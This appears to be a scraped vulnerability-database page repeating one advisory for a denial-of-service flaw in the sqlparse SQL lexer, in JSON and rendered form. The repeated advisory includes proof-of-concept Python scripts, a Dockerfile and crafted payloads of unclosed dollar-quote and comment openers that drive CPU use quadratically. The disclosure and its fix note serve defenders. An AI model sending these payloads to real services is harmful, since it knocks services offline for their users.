python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "BREW-mycli-CVE-2026-59893",
  "modified": "2026-09-10T00:35:46Z",
  "published": "2026-08-18T09:19:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "GHSA-prg7-hcfm-mfcr",
    "CVE-2026-59893",
    "PYSEC-2026-3698"
  ]
}

BREW-PGCLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Vulnerability from osv_homebrew – Published: 2026-08-18 09:28 – Updated: 2026-09-10 00:51 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/andialbrecht/sqlparse/security…	WEB
	https://github.com/andialbrecht/sqlparse/commit/d…	WEB
	https://github.com/andialbrecht/sqlparse	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "sqlparse",
        "resource_purl": "pkg:pypi/sqlparse@0.6.0",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pgcli",
        "purl": "pkg:brew/pgcli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "resource": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.6.0"
      }
    ]
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "BREW-pgcli-CVE-2026-59893",
  "modified": "2026-09-10T00:51:13Z",
  "published": "2026-08-18T09:28:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "GHSA-prg7-hcfm-mfcr",
    "CVE-2026-59893",
    "PYSEC-2026-3698"
  ]
}

BREW-SQLPARSE-CVE-2026-59893 (CVE-2026-59893)

Vulnerability from osv_homebrew – Published: 2026-08-18 09:42 – Updated: 2026-09-10 01:21 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

